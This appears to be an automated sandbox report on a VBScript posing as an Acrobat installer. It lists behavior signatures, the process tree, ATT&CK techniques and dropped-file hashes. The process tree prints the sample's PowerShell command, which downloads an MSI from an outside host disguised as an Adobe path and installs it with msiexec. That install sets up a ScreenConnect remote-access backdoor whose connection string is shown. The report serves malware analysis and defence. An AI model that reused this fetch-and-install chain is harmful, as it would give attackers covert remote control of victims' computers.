Overview

overview

8

Static

static

1

Acrobat_Se...74.vbs

windows10-2004-x64

8

Acrobat_Se...74.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/10/2026, 04:25

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General

  • Target
    Acrobat_Set-Up_7474.vbs
  • Size 3KB
  • Sample261022-e2bdwahy5v
  • SHA256 72f1a91566f9a644b5795e23caa003780a4869fa903607fbe705382c19c545af
  • MD5 SHA1 SHA512 TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

    execution
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
    execution
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 18 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Acrobat_Set-Up_7474.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Acrobat_Set-Up_7474.vbs" /elevated
      2⤵
      • Checks computer location settings
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:3568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://blog.tranktechies.com/get.adobe.com_reader/AcrobatReaderClientSetup.msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\bin\dual_installer.msi'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\bin\dual_installer.msi"
        3⤵
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3004
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3588
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 48811DDFD28FCA83691E4328962D8AE8 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3356
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI1EB9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240721828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1144
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2088
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 129C09F3FD930B338A845A2E343837CB
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4040
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 13867D36B4329E4842F2544A92FDABC9 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4480
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1188
    • C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ec2amaz-ob3r3jk&p=8041&s=a660f325-6080-42f8-8a4d-9a0fecd4ce4f&k=BgIAAACkAABSU0ExAAgAAAEAAQB9jwl5l3ksW87nvli5I%2bkUFZlKb%2bd1Ikoi6xSgILP49a5qnCDDuF9kofgtqNhRiw1HJgXKgB%2ffUGipvBrs88OhOjVd%2fbQRL7shi4%2fBqt2Zt06Hcu7Iq3AL7W5QILAWZVkX%2fe64%2fzeOpy1g9oRUxHecth5x%2fAyiX9pAw4O7Ndb9cb4ShnYok5QwfRms1CcVSNhtkNC5ggcyvOBl3ITm1ArPn7WPYnizGmnUng%2bUvQ%2byxLCkRh2eXs%2fCBvklzJRaIGInAKiRGJhUY4J2yLiVETuEjeIzQdzzGtXoCthdbjYYwVbDgKQqhNlGG5v7LyvJQGZ5CNhr3JDcldOasC2zVcCo"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe" "RunRole" "c54dfea6-b97e-43ae-95f9-54175f9d26cf" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:3368

    Network

          MITRE ATT&CK Enterprise v16

          Reconnaissance

          Resource Development

          Initial Access

          Execution

          Command and Scripting Interpreter

          2
          T1059

          PowerShell

          1
          T1059.001

          Visual Basic

          1
          T1059.005

          Persistence

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Privilege Escalation

          Boot or Logon Autostart Execution

          2
          T1547

          Authentication Package

          1
          T1547.002

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Event Triggered Execution

          1
          T1546

          Component Object Model Hijacking

          1
          T1546.015

          Defense Evasion

          Modify Registry

          1
          T1112

          Credential Access

          Discovery

          Peripheral Device Discovery

          2
          T1120

          Query Registry

          3
          T1012

          System Information Discovery

          4
          T1082

          System Location Discovery

          1
          T1614

          System Language Discovery

          1
          T1614.001

          System Network Configuration Discovery

          1
          T1016

          Lateral Movement

          Collection

          Command and Control

          Exfiltration

          Impact

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e596558.rbs
          • Path C:\Config.Msi\e596558.rbs
          • Size 214KB
          • SHA256 5a218f05f1ef6f3a3a8abd1bc5db5772a579e8e3286240f7dee8a8b65a1371c6
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.en-US.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Client.resources
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Client.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 7b884f42d506ae55f585f2979e44e7890d2badb3de358c9f4d92a0fd90c293ce
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.dll
          • Size 76KB
          • SHA256 eaf68aeba864179a1445cac2ecfcaebc8cfd17da2d851fc66bf9eee8d3c59510
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.ClientService.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 4361320c86d7a3f1df5f8967971979a634cce33d2263fb0a9950cb7ef941d04c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.Core.dll
          • Size 546KB
          • SHA256 960e17f82e6d0e1c2f7ab572716bb3fe67fae85bc73ea74bf40eac943c9b804d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 8e45790b306480aaff778b2e7b3a3681a9a2d12d15696ff41676dd6ddcd02306
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsAuthenticationPackage.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe
          • Size 587KB
          • SHA256 4c13a580ad03c35d4c923e2edcfa1b8dbacc45fa907b324b3360f7784f61dd9e
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.WindowsClient.exe.config
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ScreenConnect.WindowsCredentialProvider.dll
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          app.config
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\app.config
          • Size 508B
          • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          system.config
          • Path C:\Program Files (x86)\ScreenConnect Client (f7ffa81c47612362)\system.config
          • Size 943B
          • SHA256 96d571935a5573bdde32955180dc17aa81d05104ce7d1eb9015db7edd72d455f
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSI1EB9.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EB9.tmp
          • Size 1.0MB
          • SHA256 14db4af46b355d0ce899e20b27e32b9be070feed0c51061b0f073760db86c7f8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          Microsoft.Deployment.WindowsInstaller.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EB9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Core.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EB9.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 5213b992d5ca858ccc97f081637ffe421e24f1d762f78c11abe57414550e9b95
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.InstallerActions.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EB9.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 13b023a9580ec3ead19003d1c25233a6e17c60556ac94b998feba8dd533b2083
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          ScreenConnect.Windows.dll
          • Path C:\Users\Admin\AppData\Local\Temp\MSI1EB9.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 1462efd9346bc3816c8bb7a50a741e9644ceaa68e5d4ca0dc86b997ccec62b8b
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          __PSScriptPolicyTest_dhbmeuxy.sn1.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dhbmeuxy.sn1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          dual_installer.msi
          • Path C:\Users\Admin\AppData\Local\Temp\bin\dual_installer.msi
          • Size 9.5MB
          • SHA256 db853ceb200e38219f712e3dc832be25ff4b1dfe46332fc06907a513a1ca3ca3
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          MSI66EF.tmp
          • Path C:\Windows\Installer\MSI66EF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          metadata-2
          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 29c67b4214947f54688569c502bafd0dff809d54d4d2f9e14addc3facc343316
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          {61b8bc68-c0f4-480e-b625-85e9e99185fe}_OnDiskSnapshotProp
          • Path \??\Volume{9f840213-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{61b8bc68-c0f4-480e-b625-85e9e99185fe}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 b5f660930588c9502bc199d3e79a9a817150ee7fec1590589341178b276fdd5f
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/536-99-0x00000000042F0000-0x000000000449A000-memory.dmp
          Download

          memory/536-102-0x0000000004200000-0x0000000004250000-memory.dmp
          Download

          memory/536-95-0x00000000040B0000-0x000000000413C000-memory.dmp
          Download

          memory/536-106-0x0000000004250000-0x0000000004286000-memory.dmp
          Download

          memory/536-107-0x0000000004540000-0x00000000045D2000-memory.dmp
          Download

          memory/536-113-0x0000000004720000-0x00000000047F2000-memory.dmp
          Download

          memory/536-109-0x0000000004290000-0x00000000042D1000-memory.dmp
          Download

          memory/536-89-0x0000000001A00000-0x0000000001A18000-memory.dmp
          Download

          memory/1144-33-0x0000000004C80000-0x0000000004CAE000-memory.dmp
          Download

          memory/1144-41-0x0000000004D60000-0x0000000004DEC000-memory.dmp
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          memory/1144-37-0x0000000004CC0000-0x0000000004CCA000-memory.dmp
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          memory/1144-46-0x0000000005700000-0x0000000005CA4000-memory.dmp
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          memory/1144-45-0x0000000004FA0000-0x000000000514A000-memory.dmp
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          memory/1468-13-0x0000015338C20000-0x0000015338E3C000-memory.dmp
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          memory/1468-8-0x0000015338C20000-0x0000015338E3C000-memory.dmp
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          memory/1468-1-0x000001531FD70000-0x000001531FD92000-memory.dmp
          Download

          memory/3368-129-0x0000000000F90000-0x0000000001026000-memory.dmp
          Download

          memory/3368-131-0x000000001BF30000-0x000000001BFBC000-memory.dmp
          Download

          memory/3368-133-0x000000001CFA0000-0x000000001D126000-memory.dmp
          Download

          memory/3368-136-0x0000000001980000-0x00000000019C1000-memory.dmp
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          memory/3368-135-0x0000000001960000-0x0000000001978000-memory.dmp
          Download

          memory/3368-134-0x00000000017C0000-0x00000000017D8000-memory.dmp
          Download

          memory/3368-132-0x000000001C170000-0x000000001C31A000-memory.dmp
          Download

          memory/3368-130-0x00000000017F0000-0x0000000001826000-memory.dmp
          Download